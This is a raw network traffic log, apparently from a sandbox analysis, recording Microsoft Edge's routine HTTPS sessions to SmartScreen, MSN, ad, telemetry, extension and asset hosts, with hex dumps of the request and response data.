2024-11-18 07:55:45 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVGdDazdsdURmN0gyZzVmc1ZZN1dlQT09IiwgImhhc2giOiJ3eEVWSDh5Z2V4az0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 07:55:45 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-18 07:55:45 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:45 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-18 07:55:45 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49909	3.170.115.57	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	925	OUT	GET /b?rn=1731921959269&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D52F0FB785F6B62058EE5C0797A6A2B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 07:55:45 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 18 Nov 2024 07:55:45 GMT Location: /b2?rn=1731921959269&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D52F0FB785F6B62058EE5C0797A6A2B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1DD840fb8b40d9dbcd1d0a51731916545; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1DD840fb8b40d9dbcd1d0a51731916545; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 28a283f92ccfa474c732bf0e982b239a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: 1nnYRuTIL3IYvyUEsFQScCKfYMeCh2TgLTy2MATqp5WDOt66b4M6vA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	49910	20.96.153.111	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0D52F0FB785F6B62058EE5C0797A6A2B&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=229277e91d044e7c8ecfd031ce1d7bf7 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1
2024-11-18 07:55:45 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 18 Nov 2024 07:55:45 GMT Connection: close
2024-11-18 07:55:45 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49912	152.195.19.97	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732521340&P2=404&P3=2&P4=CNRVhVhOH4oAeBbUPDFd8a8pmfj4QIhtaZaPThPyo5q4UWMqjB24VHdg3blZ169EWQa%2bbYxZ1u791jo2%2fkrozw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: cpJjJRpEDUrC69Ry5FEUmE Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 07:55:45 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 11843076 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 18 Nov 2024 07:55:45 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-18 07:55:45 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	49911	13.89.178.26	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731921959266&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3808 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1
2024-11-18 07:55:45 UTC	3808	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 30 39 3a 32 35 3a 35 39 2e 32 36 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 31 34 32 64 61 66 32 32 2d 30 32 62 38 2d 34 36 65 35 2d 62 36 38 62 2d 61 32 30 34 64 34 33 34 32 63 64 64 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 37 31 32 39 34 33 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-18T09:25:59.261Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"142daf22-02b8-46e5-b68b-a204d4342cdd","epoch":"3171294352"},"app":{"locale
2024-11-18 07:55:46 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6f47293bcb6946e88c22cbb1c558f29a&HASH=6f47&LV=202411&V=4&LU=1731916545977; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 07:55:45 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=434422be5aa0444c923482bbe66d8d5b; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 08:25:45 GMT; Path=/;Secure; SameSite=None time-delta-millis: -5413289 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 07:55:45 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	49913	20.125.209.212	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:45 UTC	1175	OUT	GET /c.gif?rnd=1731921959268&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7e39c7eda8ad44118c2aed522a120830&activityId=7e39c7eda8ad44118c2aed522a120830&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1
2024-11-18 07:55:46 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731921959268&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7e39c7eda8ad44118c2aed522a120830&activityId=7e39c7eda8ad44118c2aed522a120830&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7A97CFA7C07245DEAA7365E5521D87A4&RedC=c.msn.com&MXFR=0D52F0FB785F6B62058EE5C0797A6A2B Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0D52F0FB785F6B62058EE5C0797A6A2B; domain=.msn.com; expires=Sat, 13-Dec-2025 07:55:46 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 18 Nov 2024 07:55:45 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49914	13.107.246.57	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:46 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 07:55:46 UTC	576	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:46 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 3a3e5fc0-101e-0037-0801-39c4a8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T075546Z-1866b5c5fbbtpjhjhC1DFWr6tw00000005ag00000000fm6y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:46 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-18 07:55:46 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-18 07:55:46 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT 